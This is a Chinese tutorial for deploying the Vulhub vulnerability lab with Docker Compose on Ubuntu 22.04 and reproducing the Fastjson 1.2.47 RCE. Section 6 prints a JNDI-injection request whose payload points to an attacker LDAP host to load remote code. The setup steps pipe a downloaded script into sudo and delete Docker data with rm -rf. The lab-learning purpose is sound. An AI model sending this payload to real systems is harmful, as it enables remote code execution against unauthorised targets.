当前位置: 首页 > article >正文

Ubuntu 22.04上,用Docker Compose一键部署Vulhub靶场的保姆级教程

Ubuntu 22.04上Vulhub靶场极速部署指南从零到漏洞复现在网络安全学习过程中拥有一个随时可用的漏洞实验环境至关重要。Vulhub作为基于Docker的漏洞靶场集合以其开箱即用的特性成为安全研究者的首选工具。本文将带你用最简洁高效的方式在Ubuntu 22.04系统上完成全套环境的部署避开新手常踩的坑实现真正的一键式漏洞复现体验。1. 环境准备与优化1.1 系统基础配置首先确保你的Ubuntu 22.04系统处于最新状态。打开终端执行以下命令sudo apt update sudo apt upgrade -y sudo apt install -y curl git vim python3-pip这些基础软件包将为后续安装提供必要支持。特别提醒如果使用虚拟机环境建议先安装VMware Tools或VirtualBox增强功能国内用户可考虑替换apt源为阿里云或清华镜像加速下载1.2 清理旧版Docker系统中残留的旧版本Docker可能导致各种冲突。执行以下清理命令sudo apt remove -y docker docker-engine docker.io containerd runc sudo rm -rf /var/lib/docker sudo rm -rf /var/lib/containerd注意第二条命令会删除所有现有Docker镜像和容器如有需要请提前备份2. Docker引擎安装与加速2.1 一键安装最新Docker使用官方安装脚本配合国内镜像源大幅提升安装速度curl -fsSL https://get.docker.com | sudo sh -s -- --mirror Aliyun安装完成后验证版本docker --version # 预期输出Docker version 24.0.7, build xxxxxxx2.2 配置镜像加速与开机启动创建Docker配置文件并添加国内镜像源sudo mkdir -p /etc/docker sudo tee /etc/docker/daemon.json -EOF { registry-mirrors: [ https://docker.mirrors.ustc.edu.cn, https://hub-mirror.c.163.com ] } EOF启用Docker服务并设置开机自启sudo systemctl enable --now docker sudo systemctl restart docker验证配置是否生效docker info | grep Mirrors -A 23. Docker Compose安装与验证3.1 使用pip安装最新版本虽然Ubuntu仓库提供docker-compose但版本通常较旧。推荐通过pip安装sudo pip3 install --upgrade docker-compose安装完成后检查版本docker-compose --version # 预期输出docker-compose version 1.29.2, build xxxxxxx3.2 解决常见权限问题为避免每次都要使用sudo将当前用户加入docker组sudo usermod -aG docker $USER newgrp docker验证非root用户能否正常使用Dockerdocker run hello-world4. Vulhub靶场部署实战4.1 获取Vulhub最新代码克隆官方仓库国内用户可考虑使用Gitee镜像git clone https://github.com/vulhub/vulhub.git cd vulhub如果网络不稳定也可以直接下载ZIP包解压wget https://github.com/vulhub/vulhub/archive/refs/heads/master.zip unzip master.zip mv vulhub-master vulhub4.2 启动Fastjson 1.2.47漏洞环境进入目标漏洞目录并启动服务cd fastjson/1.2.47-rce docker-compose up -d检查服务状态docker-compose ps # 应看到fastjson服务状态为Up访问漏洞测试页面http://localhost:80904.3 常用管理命令操作命令说明启动环境docker-compose up -d后台运行停止环境docker-compose down清理容器查看日志docker-compose logs调试用重建环境docker-compose build修改配置后5. 进阶配置与问题排查5.1 端口冲突解决方案如果默认端口被占用可以修改docker-compose.yml中的端口映射ports: - 8080:8080 # 改为 新端口:容器端口然后重建服务docker-compose down docker-compose up -d5.2 磁盘空间管理定期清理无用镜像和容器docker system prune -a --volumes查看磁盘使用情况docker system df5.3 网络问题排查检查容器网络连接docker exec -it 容器名 ping baidu.com查看Docker网络配置docker network inspect bridge6. 典型漏洞复现示例以Fastjson漏洞为例演示基本测试流程启动Burp Suite拦截请求访问http://localhost:8090构造恶意JSON数据包POST / HTTP/1.1 Host: localhost:8090 Content-Type: application/json { type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://attacker-ip:1389/Exploit, autoCommit:true }观察服务器响应确认漏洞存在安全提示仅限本地测试环境使用禁止在未授权情况下测试真实系统7. 环境维护与更新保持Vulhub最新状态cd ~/vulhub git pull origin master更新所有基础镜像docker-compose pull定期检查组件版本docker --version docker-compose --version python3 --version pip3 --version在实际教学中发现90%的启动失败问题都源于网络连接或权限配置。建议首次部署时逐步验证每个环节特别是Docker服务状态和容器日志输出。

相关文章:

Ubuntu 22.04上,用Docker Compose一键部署Vulhub靶场的保姆级教程

Ubuntu 22.04上Vulhub靶场极速部署指南:从零到漏洞复现 在网络安全学习过程中,拥有一个随时可用的漏洞实验环境至关重要。Vulhub作为基于Docker的漏洞靶场集合,以其开箱即用的特性成为安全研究者的首选工具。本文将带你用最简洁高效的方式&am…...

告别命令行恐惧:用Onboard虚拟键盘在树莓派上轻松输入Wi-Fi密码和SSH命令

树莓派虚拟键盘实战:Onboard解决无外设输入难题 想象一下这样的场景:你刚拿到崭新的树莓派,迫不及待想配置Wi-Fi连接或进行SSH设置,却发现手边没有USB键盘。面对闪烁的命令行光标,输入复杂的Wi-Fi密码或执行apt-get u…...

手把手教你用STM32CubeMX和HAL库,从零打造一个USB数字小键盘(附完整工程)

从零构建STM32 USB数字键盘:CubeMX配置与HAL库开发全指南 在创客圈里,能够亲手打造一个完全自定义的输入设备总是令人兴奋的体验。想象一下,当你敲击自己设计的键盘,每一个按键都精准执行你预设的命令——无论是快速输入复杂密码、…...

如何3步快速掌握B站视频下载:BilibiliDown完整使用指南

如何3步快速掌握B站视频下载:BilibiliDown完整使用指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/…...

taotoken 如何帮助教育科技产品快速集成并安全开放 ai 答疑功能

Taotoken 如何帮助教育科技产品快速集成并安全开放 AI 答疑功能 1. 教育科技场景中的 AI 答疑需求 教育科技产品在集成 AI 答疑功能时面临三个核心挑战:模型选型适配、访问权限控制和行为审计追溯。传统方案需要开发者自行对接多个模型供应商,处理不同…...

告别乱码!手把手教你用STM32CubeMX和SPI Flash制作并显示自定义中文字库

STM32嵌入式开发实战:从零构建SPI Flash中文字库与显示系统 在物联网设备和工业控制面板的开发中,汉字显示往往是刚接触STM32的开发者遇到的第一个"拦路虎"。传统解决方案要么依赖昂贵的显示模块内置字库,要么需要占用大量MCU内部…...

10分钟搞定Cellpose:AI细胞分割工具零基础安装配置秘籍

10分钟搞定Cellpose:AI细胞分割工具零基础安装配置秘籍 【免费下载链接】cellpose a generalist algorithm for cellular segmentation with human-in-the-loop capabilities 项目地址: https://gitcode.com/gh_mirrors/ce/cellpose 想要快速上手Cellpose这款…...

m4s-converter终极指南:快速免费保存B站视频的完整教程

m4s-converter终极指南:快速免费保存B站视频的完整教程 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾为B站视频突然下架而…...

3大核心功能重塑Windows文件管理体验:QTTabBar标签页增强工具深度解析

3大核心功能重塑Windows文件管理体验:QTTabBar标签页增强工具深度解析 【免费下载链接】qttabbar QTTabBar is a small tool that allows you to use tab multi label function in Windows Explorer. https://www.yuque.com/indiff/qttabbar 项目地址: https://gi…...

基于RAG架构的房地产土木工程智能问答助手构建实战

1. 项目概述:一个面向房地产与土木工程领域的智能问答助手最近在GitHub上看到一个挺有意思的项目,叫real-estate-civil-eng-chatbot。光看这个名字,就能猜到个大概——这是一个专门为房地产和土木工程领域打造的聊天机器人。作为一个在建筑行…...

CSAPP DataLab通关秘籍:20个位运算与补码函数保姆级解析(附完整代码)

CSAPP DataLab通关秘籍:20个位运算与补码函数保姆级解析(附完整代码) 当你第一次打开CSAPP的DataLab实验手册时,那些密密麻麻的位操作约束条件可能会让你感到无从下手。别担心,这份攻略将带你从零开始,逐步…...

如何在Windows 10/11上使用d3d8to9让Direct3D 8老游戏重获新生

如何在Windows 10/11上使用d3d8to9让Direct3D 8老游戏重获新生 【免费下载链接】d3d8to9 A D3D8 pseudo-driver which converts API calls and bytecode shaders to equivalent D3D9 ones. 项目地址: https://gitcode.com/gh_mirrors/d3/d3d8to9 你是否曾经尝试在Window…...

暗黑破坏神2存档编辑器:5步掌握游戏数据修改的完整指南

暗黑破坏神2存档编辑器:5步掌握游戏数据修改的完整指南 【免费下载链接】d2s-editor 项目地址: https://gitcode.com/gh_mirrors/d2/d2s-editor 还在为暗黑破坏神2中反复刷装备而苦恼吗?想快速测试不同职业build却不想投入数百小时?d…...

靠谱糯米鸡机器怎么选?企业采购策略深度解析

靠谱糯米鸡机器怎么选?企业采购策略深度解析“选糯米鸡机器只看价格?90%的企业都踩过‘便宜设备后期成本更高’的坑!” 对于食品企业来说,一台靠谱的糯米鸡机器不仅是生产工具,更是降本增效、保障品质的核心资产。但面…...

3分钟解放双手:智慧树课程自动化学习的终极解决方案

3分钟解放双手:智慧树课程自动化学习的终极解决方案 【免费下载链接】Autovisor 2025智慧树刷课脚本 基于Python Playwright的自动化程序 [有免安装版] 项目地址: https://gitcode.com/gh_mirrors/au/Autovisor 还在为智慧树平台的重复性操作感到厌倦吗&…...

如何用Heightmapper在5分钟内生成专业3D地形高度图?[特殊字符]

如何用Heightmapper在5分钟内生成专业3D地形高度图?🎯 【免费下载链接】heightmapper interactive heightmaps from terrain data 项目地址: https://gitcode.com/gh_mirrors/he/heightmapper 你是否曾为创建逼真的3D地形而烦恼?手动建…...

轻量级SFT框架SWE-Lego:高效微调LLM的软件工程实践

1. 项目背景与核心价值去年在参与一个大型企业级代码重构项目时,我们团队遇到了一个典型困境:传统微调方法需要消耗大量计算资源对LLM进行全参数训练,但实际业务场景中90%的软件工程问题只需要模型掌握特定领域的代码规范和架构模式。这促使我…...

AI代码安全审计:Semgrep规则集防范AI生成代码漏洞

1. 项目概述与核心价值最近在给团队做代码安全审计,发现一个挺有意思的现象:自从大家开始用上Copilot、Cursor这类AI编程助手后,开发效率确实肉眼可见地提升了,但代码里埋下的安全“地雷”也变多了。我见过最离谱的,是…...

GenAIScript:用声明式脚本标准化AI生成任务,告别Prompt复用难题

1. 项目概述:当AI遇上代码生成,GenAIScript的定位与价值如果你最近在GitHub上关注AI与代码生成相关的项目,大概率会刷到一个来自微软官方的仓库:microsoft/genaiscript。乍一看这个名字,可能会让人联想到“生成式AI脚本…...

别再用pip install transformers了!这5种安装方式帮你搞定所有Python环境(含虚拟环境、Docker、离线安装)

超越pip install:5种专业级transformers库部署方案全景指南 当你在Jupyter Notebook中写下from transformers import pipeline时,那个红色警告"ModuleNotFoundError: No module named transformers"是否曾让你抓狂?别急&#xff0c…...

高级RAG技术解析:从多查询检索到智能体架构的演进与实践

1. 从零到一:理解高级RAG的核心价值与演进脉络如果你正在构建一个基于大语言模型的应用,并且已经体验过基础版检索增强生成那种“时灵时不灵”的尴尬,那么你找对地方了。基础RAG就像给模型装了一个简单的搜索引擎,你把文档切块、存…...

简化物业数据管理:使用 Indexify 进行高级数据提取与检索

原文:towardsdatascience.com/streamline-property-data-management-advanced-data-extraction-retrieval-with-indexify-3b037054ffc2 https://github.com/OpenDocCN/towardsdatascience-blog-zh-2024/raw/master/docs/img/6805c2fece89c143c0d1977b3507d6d3.png …...

精简数据管道:如何使用 PySpark 和 WhyLogs 进行高效的数据分析和验证

原文:towardsdatascience.com/streamline-data-pipelines-how-to-use-whylogs-with-pyspark-for-data-profiling-and-validation-544efa36c5ad?sourcecollection_archive---------3-----------------------#2024-01-07 https://medium.com/sarbahi.sarthak?source…...

开源技能库构建指南:从个人工具箱到团队知识中枢

1. 项目概述:一个开源技能库的诞生与价值 在技术社区里,我们常常会看到这样的现象:一位开发者分享了一个精巧的工具脚本,另一位设计师上传了一套实用的图标模板,但这些宝贵的“技能”往往散落在个人仓库、博客文章或论…...

使用 Python、Kafka 和 Faust 进行流处理

原文:towardsdatascience.com/stream-processing-with-python-kafka-faust-a11740d0910c?sourcecollection_archive---------2-----------------------#2024-02-18 如何在高吞吐量时间序列数据上进行流处理并应用实时预测模型 https://medium.com/aliosia?source…...

保姆级教程:在Ubuntu上为RK3588开发板配置交叉编译环境(含完整脚本)

保姆级教程:在Ubuntu上为RK3588开发板配置交叉编译环境(含完整脚本) 刚拿到RK3588开发板时,最让人头疼的就是如何快速搭建开发环境。不同于x86平台的直接编译,嵌入式开发需要面对处理器架构差异、工具链配置、库依赖等…...

实战指南:通达信缠论量化分析插件的智能化解决方案

实战指南:通达信缠论量化分析插件的智能化解决方案 【免费下载链接】Indicator 通达信缠论可视化分析插件 项目地址: https://gitcode.com/gh_mirrors/ind/Indicator 在金融市场技术分析领域,缠论以其严谨的数学结构和完整的理论体系而备受推崇。…...

WarcraftHelper:5大核心优化功能让魔兽争霸3重获新生

WarcraftHelper:5大核心优化功能让魔兽争霸3重获新生 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 你是否还记得当年在网吧鏖战魔兽争霸…...

Depth Anything深度估计:ComfyUI中AI图像处理的终极指南

Depth Anything深度估计:ComfyUI中AI图像处理的终极指南 【免费下载链接】comfyui_controlnet_aux ComfyUIs ControlNet Auxiliary Preprocessors 项目地址: https://gitcode.com/gh_mirrors/co/comfyui_controlnet_aux 在AI图像生成的世界中,深度…...

Tiny11Builder终极指南:如何快速构建精简版Windows 11系统镜像

Tiny11Builder终极指南:如何快速构建精简版Windows 11系统镜像 【免费下载链接】tiny11builder Scripts to build a trimmed-down Windows 11 image. 项目地址: https://gitcode.com/GitHub_Trending/ti/tiny11builder Tiny11Builder是一个开源的PowerShell脚…...